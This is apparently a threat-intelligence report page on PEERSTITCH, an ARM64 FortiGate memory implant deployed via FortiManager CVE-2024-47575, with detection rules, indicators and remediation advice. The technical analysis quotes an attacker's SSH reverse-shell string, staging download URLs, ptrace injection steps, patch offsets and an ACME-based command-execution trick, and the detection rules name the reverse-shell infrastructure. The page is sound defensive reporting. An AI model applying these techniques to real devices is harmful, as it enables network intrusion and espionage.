Skip to navigation

Threat reportMalwareTL-2026-3558

PEERSTITCH: Stealthy Memory-Resident FortiGate Implant Deployed via FortiManager CVE-2024-47575 by CL-STA-0954 (UNC5820)

criticalACTIVE

Unit 42 reports PEERSTITCH, a 64-bit ARM64 Linux memory-resident implant that patches FortiOS miglogd and iked via ptrace, leaving no persistent binary on disk, no listening ports and no outbound connections of its own. It was deployed by suspected nation-state cluster CL-STA-0954 (aka UNC5820) after CVE-2024-47575 (FortiJump) exploitation of a FortiManager at a telecommunications MSP in September 2024, exposing 500+ managed FortiGate configurations. First disclosed .

By

Key facts

IdentifiersTL-2026-3558, CVE-2024-47575, CVE-2025-61624, CVE-2024-26008, CVE-2024-26009, CVE-2025-59718, CVE-2025-59719
Also known asFortiJump, PEERSTITCH
SeverityCRITICAL
CVSS9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
First disclosed
Exploitation statusLinked CVE exploited in the wild; Listed in CISA KEV: CVE-2024-47575 (added ), CVE-2025-61624 (added ), CVE-2025-59718 (added )
EPSSCVE-2024-47575: 94.7% (99.8th percentile); CVE-2025-59718: 68.2% (99.3th percentile); CVE-2025-59719: 29.2% (98.1th percentile)
Affected productsFortinet FortiManager / FortiManager Cloud; Fortinet FortiOS (FortiGate, ARM64 platforms targeted by PEERSTITCH)
Weaknesses (CWE)CWE-306, CWE-22
AttributionCL-STA-0954, UNC5820 (medium confidence)
MalwarePEERSTITCH
MITRE ATT&CK techniquesT1005 Data from Local System, T1021.004 SSH, T1040 Network Sniffing, T1041 Exfiltration Over C2 Channel, T1055.008 Ptrace System Calls, T1059.004 Command and Scripting Interpreter: Unix Shell, T1059.007 JavaScript, T1068 Exploitation for Privilege Escalation, T1070 Indicator Removal, T1070.002 Indicator Removal, T1070.004 File Deletion, T1071.001 Web Protocols and 16 more in the attack flow
MotivationESPIONAGE
Target sectorstelecoms, managed-service-providers, technology
Target regionsGlobal
Detection rules9 (1 shown free)
Sources9 cited sources

Detection coverage

As of 2026-10-19, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-3558 across Splunk SPL, Microsoft KQL and Sigma, covering 49 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: PEERSTITCH - Connections To CL-STA-0954 Staging, ACME and SSH Reverse Shell Infrastructure

Detects FortiGate traffic to or from 23.240.77.233, 47.18.167.159, 45.32.41.202 and 198.199.122.22, classifying TCP 8085 staging downloads, TCP 8084 ACME/SSH reverse-shell C2 (kali@ user) and FGFM rogue peers.

  • Languages: Splunk SPL, Microsoft KQL, Sigma
  • ATT&CK: T1071.001, T1572, T1021.004, T1105
  • Data sources: fortinet_fortios_traffic
  • Severity: high
  • Confidence: high

Splunk SPL

index=fortinet sourcetype="fortinet_fortios_traffic" earliest=-24h
| where dstip IN ("23.240.77.233","47.18.167.159","45.32.41.202","198.199.122.22") OR srcip IN ("23.240.77.233","47.18.167.159","45.32.41.202","198.199.122.22")
| eval c2_role=case(dstport=8084,"acme_ssh_reverse_shell_c2", dstport=8085,"staging_download_pM.js_lldprx", dstport=541,"fgfm_rogue_peer", true(),"ioc_ip_other_port")
| stats count sum(sentbyte) as bytes_out sum(rcvdbyte) as bytes_in dc(dstport) as distinct_ports min(_time) as first_seen max(_time) as last_seen by devname srcip dstip dstport c2_role
| convert ctime(first_seen) ctime(last_seen)

Microsoft KQL

let c2_ips = dynamic(["23.240.77.233", "47.18.167.159", "45.32.41.202", "198.199.122.22"]);
let acme_paths = dynamic(["/acme/new-acct", "/acme/order/11111", "/acme/authz/1", "/acme/finalize/61924744", ":8084/directory", ":8085/pM.js"]);
let mde = DeviceNetworkEvents
    | where Timestamp > ago(24h)
    | where RemoteIP in (c2_ips) or RemoteUrl has_any (acme_paths)
    | project TimeGenerated = Timestamp, Source = "mde", Device = DeviceName, SrcIP = LocalIP, DstIP = RemoteIP, DstPort = RemotePort, Detail = InitiatingProcessCommandLine;
let fgt = CommonSecurityLog
    | where TimeGenerated > ago(24h)
    | where DeviceVendor =~ "Fortinet"
    | where DestinationIP in (c2_ips) or SourceIP in (c2_ips) or RequestURL has_any (acme_paths)
    | project TimeGenerated, Source = "fortigate", Device = DeviceName, SrcIP = SourceIP, DstIP = DestinationIP, DstPort = DestinationPort, Detail = coalesce(RequestURL, Message);
union mde, fgt
| extend C2Role = case(DstPort == 8084, "acme_ssh_reverse_shell_c2", DstPort == 8085, "staging_download", DstPort == 541, "fgfm_rogue_peer", "ioc_ip_other_port")
| order by TimeGenerated desc

Sigma

title: PEERSTITCH C2 - Traffic To CL-STA-0954 Staging and ACME/SSH Reverse Shell Infrastructure
id: 9e4a1c78-3d62-47b9-8f05-6c2b7a1d4e93
status: experimental
description: Detects network connections to CL-STA-0954 infrastructure - staging downloads of pM.js, index.js, index.wasm and lldprx over TCP 8085 and the weaponized Apache mod_md ACME / SSH reverse-shell C2 over TCP 8084.
references:
    - https://unit42.paloaltonetworks.com/fortimanager-cve-2024-47575-peerstitch-malware/
author: Threadlinqs Team
date: 2026-10-14
tags:
    - attack.command-and-control
    - attack.t1071.001
    - attack.t1572
    - attack.t1105
    - attack.lateral-movement
    - attack.t1021.004
    - cve.2024.47575
logsource:
    category: firewall
detection:
    selection_c2:
        dst_ip:
            - '23.240.77.233'
            - '47.18.167.159'
        dst_port:
            - 8084
            - 8085
    selection_any:
        dst_ip:
            - '45.32.41.202'
            - '198.199.122.22'
    condition: 1 of selection_*
falsepositives:
    - Shared hosting reassignment of the listed IPs to unrelated tenants
    - Threat-intel scanners probing the same addresses
level: high

Known false positives:

  • Shared hosting reassignment of the IPs to unrelated tenants
  • Threat-intel scanners probing the same addresses

Tuning notes: Extend the IP list with new infrastructure from TL_OSINT_Scan as it appears. Add proxy and DNS indexes to the search for broader coverage.

8 more detection rules (Splunk SPL, Microsoft KQL, Sigma) · unlock with TL Creds. Sign up free to unlock the detection rules or query them with the Threadlinqs MCP server (Purple and Gold in full, 2 calls a day on a free account)
  • PEERSTITCH / FortiJump - Rogue FortiGate Registration (Sentinel CommonSecurityLog) · unlock with TL Creds
  • PEERSTITCH - Anti-Forensics, Auto-Script Traversal, Packet Capture and Staging Execution · unlock with TL Creds
  • PEERSTITCH - C2 and Staging Traffic To CL-STA-0954 Infrastructure · unlock with TL Creds
  • PEERSTITCH FortiJump - Rogue FortiGate FGFM Registration From Known IPs · unlock with TL Creds
  • PEERSTITCH Staging - [indicator] Injector, [indicator] Orchestrator and ssh_config Reverse Shell · unlock with TL Creds
  • PEERSTITCH C2 - Traffic To CL-STA-0954 Staging and ACME/SSH Reverse Shell Infrastructure · unlock with TL Creds
  • PEERSTITCH / FortiJump - Rogue Virtual FortiGate Registration on FortiManager (CVE-2024-47575) · unlock with TL Creds
  • PEERSTITCH - FortiOS Auto-Script Path Traversal, Anti-Forensics and Packet Capture Setup · unlock with TL Creds

Indicators of compromise

As of 2026-10-19, Threadlinqs Intelligence tracks 49 indicators of compromise for TL-2026-3558.

Sample indicators (3 of 49)

  • IP address: 23.240.77[.]233
  • File hash: b9fb0b27ddd59b58d3ae53c7227298a3e0de1e6f868b9429ae21533bb9cd1e70
  • Email address: 0qsc137p[@]justdefinition[.]com

Defanged, TLP:CLEAR. Full set of 49 indicators: unlock with TL Creds.

49 indicators of compromise · unlock with TL Creds. Compare plans

Technical analysis

In September 2024 the actor exploited CVE-2024-47575, a missing-authentication flaw (CWE-306) in the FortiManager FGFM/FMG-Access channel (TCP 541), against a telecommunications managed service provider. The actor registered a rogue Virtual FortiGate named 'localhost' (serial FMG-VMTM23017412) and exfiltrated the .tm configuration archive covering 500+ managed FortiGate devices, including credentials and cryptographic material. Rogue registrations were observed from 45.32.41.202 and 198.199.122.22.

Post-exploitation reconnaissance used packet-capture rules targeting HTTP, TFTP (UDP 69), RADIUS (UDP 1812-1813) and LDAP (TCP 389), and interception of eleven TCP ports (3696-3706) to harvest credentials and map topology. The actor then abused the FortiOS CLI system.auto-script engine, which Unit 42 attributes to a path traversal flaw tracked as CVE-2025-61624 ('../../../../setup' traversal object), to escalate from admin to root and run staged scripts. Anti-forensics included killall -9 miglogd and syslogd before auto-scripts ran, 'diagnose debug crashlog clear', and automatic deletion of rogue admin accounts, VPN groups and auto-script objects.

Staging files were downloaded from hxxp://23.240.77.233:8085/ and hxxp://47.18.167.159:8085/: pM.js (self-deleting environment preparation), a.js saved as index.js (Emscripten runtime), a.wasm saved as index.wasm, b.js saved as ipssem.js (deployment orchestrator) and dd saved as lldprx (native ARM64 ELF injector). ipssem.js launched lldprx with the arguments 'lldprx!index.js!index.wasm!ipssem.js!lldprx!yyyy!pM.js'. lldprx unlinked its own binary and terminated the staging process.

PEERSTITCH is a 64-bit ARM64 ELF, statically linked against glibc, and acts as a one-shot process-memory patching injector against /bin/miglogd and /bin/iked. It parses /proc/<pid>/cmdline and /proc/<pid>/maps, attaches with ptrace(PTRACE_SEIZE) and PTRACE_INTERRUPT, and runs a bootstrap stub issuing mmap (X8=0xDE) for 0x4000 bytes RWX. It then writes a 1,344-byte payload through /proc/<pid>/mem. The hook builds a covert IPC bridge between the two daemons: it inspects passive traffic with strstr() for markers (TCP port 8550, IP 169.254.0.1), extracts session tokens of up to 31 bytes into a 16-slot ring buffer at offset +0x0F0, and writes across processes via /proc/<counterpart_pid>/mem. Three NOP patches (0xAA0003E0) at base+0x106F7B8, +0x1072E20 and +0x109A570, plus a 20-byte trampoline at base+0x135102C, divert execution into the RWX buffer and bypass FortiOS security validations.

A separate C2 path weaponized Apache mod_md (ACME). The actor wrote ../../tmp/apache2/conf/md-acme.conf via path traversal, pointed account.json at attacker ACME endpoints on 23.240.77.233:8084, and mapped MDChallengeDns01 to /bin/node so that ACME renewal executed commands (MDRenewMode 'always' gave persistent polling). An SSH reverse shell was injected as 'kali@23.240.77.233:8084:b -F /tmp/upfile/ssh_config -i'. The config was later overwritten with decoy content. CVE-2024-26008 (FGFM unauthenticated session reset) and CVE-2024-26009 (FGFM authentication bypass using the FortiManager serial) are listed by Unit 42 as possible mechanisms for the tunnel-management drops and FGFM impersonation observed. Unit 42 assesses attribution to suspected nation-state activity at medium confidence, tracked as CL-STA-0954 and aligned with Mandiant's UNC5820, which exploited CVE-2024-47575 on 50+ FortiManagers since June 27, 2024. Unit 42 stresses that patching does not evict the actor; trust material and credentials must be rotated.

MITRE ATT&CK techniques by tactic:

Collection

T1005 Data from Local System; T1560 Archive Collected Data; T1560.001 Archive Collected Data; T1602.002 Network Device Configuration Dump

Lateral Movement

T1021.004 SSH; T1210 Exploitation of Remote Services

Credential Access

T1040 Network Sniffing; T1110.002 Brute Force: Password Cracking; T1552.001 Unsecured Credentials: Credentials In Files; T1555 Credentials from Password Stores

Exfiltration

T1041 Exfiltration Over C2 Channel

Privilege Escalation

T1055.008 Ptrace System Calls; T1068 Exploitation for Privilege Escalation

Defense Evasion

T1055.008 Ptrace System Calls; T1070 Indicator Removal; T1070.002 Indicator Removal; T1070.004 File Deletion; T1562.001 Impair Defenses: Disable or Modify Tools

Execution

T1059.004 Command and Scripting Interpreter: Unix Shell; T1059.007 JavaScript

Command and Control

T1071.001 Web Protocols; T1105 Ingress Tool Transfer; T1571 Non-Standard Port; T1572 Protocol Tunneling

Initial Access

T1078 Valid Accounts; T1133 External Remote Services; T1190 Exploit Public-Facing Application

Persistence

T1136 Create Account

defense-impairment

T1685 Disable or Modify Tools

Remediation

Patches

  • Upgrade FortiManager to a fixed release per Fortinet advisory FG-IR-24-423 (CVE-2024-47575)
  • Apply Fortinet FG-IR-26-122 fixes for CVE-2025-61624 (virtual patch FG-VD-59270.0day in FMWP update 25.120 as interim)
  • Apply Fortinet fixes for CVE-2024-26008 and CVE-2024-26009 (FGFM)

Immediate actions

  • Isolate FortiManager and FortiGate management interfaces (FGFM TCP 541) from untrusted networks and restrict to known peers
  • Block 23.240.77.233, 47.18.167.159, 45.32.41.202 and 198.199.122.22 at the perimeter and hunt for prior connections
  • Check /proc/<pid>/maps of miglogd and iked for anonymous 16,384-byte rwxp regions
  • Verify 0xAA0003E0 (MOV X0, X0) at base+0x106F7B8, base+0x1072E20 and base+0x109A570 in miglogd/iked text segments
  • Review 'diagnose debug crashlog read' for Signal 11 crashes in miglogd, iked and syslogd
  • Audit auto-script objects for ../ traversal sequences and unexpected rogue 'localhost' devices (serial FMG-VMTM23017412) on FortiManager

Workarounds

  • Restrict FortiManager FGFM access to an allow-list of known FortiGate IPs and enforce a local-in policy
  • Disallow unknown device registration on FortiManager
  • Restrict admin CLI privileges to limit abuse of the auto-script engine

Longer-term hardening

  • Treat edge management interfaces with the highest level of zero trust isolation
  • Rotate credentials and cryptographic trust material (certificates, keys, VPN PSKs) after any platform compromise, since patching does not remove attacker access
  • Forward FortiGate and FortiManager logs off-box so on-device log deletion cannot hide activity
  • Apply Palo Alto Networks Advanced Threat Prevention signatures 95788 and 96788

Affected and fixed versions

  • Fortinet — FortiManager / FortiManager Cloud
    Vulnerable versions: 6.2.0-6.2.12; 6.4.0-6.4.14; 7.0.0-7.0.12; 7.2.0-7.2.7; 7.4.0-7.4.4; 7.6.0; FortiManager Cloud 6.4.1-7.4.4
    Fixed in: Per Fortinet advisory FG-IR-24-423
  • Fortinet — FortiOS (FortiGate, ARM64 platforms targeted by PEERSTITCH)
    Vulnerable versions: 6.4 through 7.6.4 (CVE-2025-61624)
    Fixed in: Per Fortinet advisory FG-IR-26-122

Timeline

Last updated · 5 updates · revalidated 5× · latest source

  • Earliest observed exploitation of CVE-2024-47575 on FortiManager devices by UNC5820, per Mandiant reporting.
  • CL-STA-0954 exploits CVE-2024-47575 against a telecommunications MSP FortiManager (September 2024), registers a rogue Virtual FortiGate 'localhost' and exfiltrates the .tm archive covering 500+ managed FortiGates.
  • Second UNC5820 exploitation attempt against FortiManager (September 22-23, 2024), per Mandiant.
  • [file path withheld] (~1.77MB) modified and ~1.82MB exfiltrated to [IP address withheld]:443 in the Mandiant-reported intrusion.
  • Fortinet discloses CVE-2024-47575 (FG-IR-24-423, CVSS 9.8); CISA adds it to the KEV catalog and Mandiant publishes UNC5820 findings.
  • CISA KEV remediation due date for federal agencies for CVE-2024-47575.
  • Fortinet FG-IR-24-423 last updated with IOCs, fixed versions and workarounds.
  • CVE-2025-61624 (FortiOS CLI path traversal, FG-IR-26-122) is published; Unit 42 links it to the auto-script abuse that deployed PEERSTITCH.
  • Unit 42 publishes analysis of PEERSTITCH, the memory-resident ARM64 FortiGate implant, and tracks the actor as CL-STA-0954 (aka UNC5820).
  • CISA adds CVE-2025-61624 (FortiOS/FortiPAM/FortiProxy/FortiSwitchManager path traversal, FG-IR-26-122) to the Known Exploited Vulnerabilities catalog, citing its use to deploy PEERSTITCH.
  • The Hacker News reports PEERSTITCH deployment via CVE-2025-61624, noting the iked hooks let tagged VPN sessions bypass default FortiOS security checks.
  • SecurityWeek reports the link between exploited Fortinet bugs, UNC5820 and the stealthy FortiGate implant in the telecom intrusion.
  • Federal agency remediation deadline under BOD 22-01 for CVE-2025-61624.

Update history

Sources cited

More from CL-STA-0954

Other reports on CVE-2024-47575

Previous and next in malware

AI-drafted from 9 cited sources; published ; last updated .

Threadlinqs Intelligence — Real-Time Threat Detection Platform

// threat_feed
$ sort --newest
Showing all threats

Live intelligence console

Threat level

Latest Threats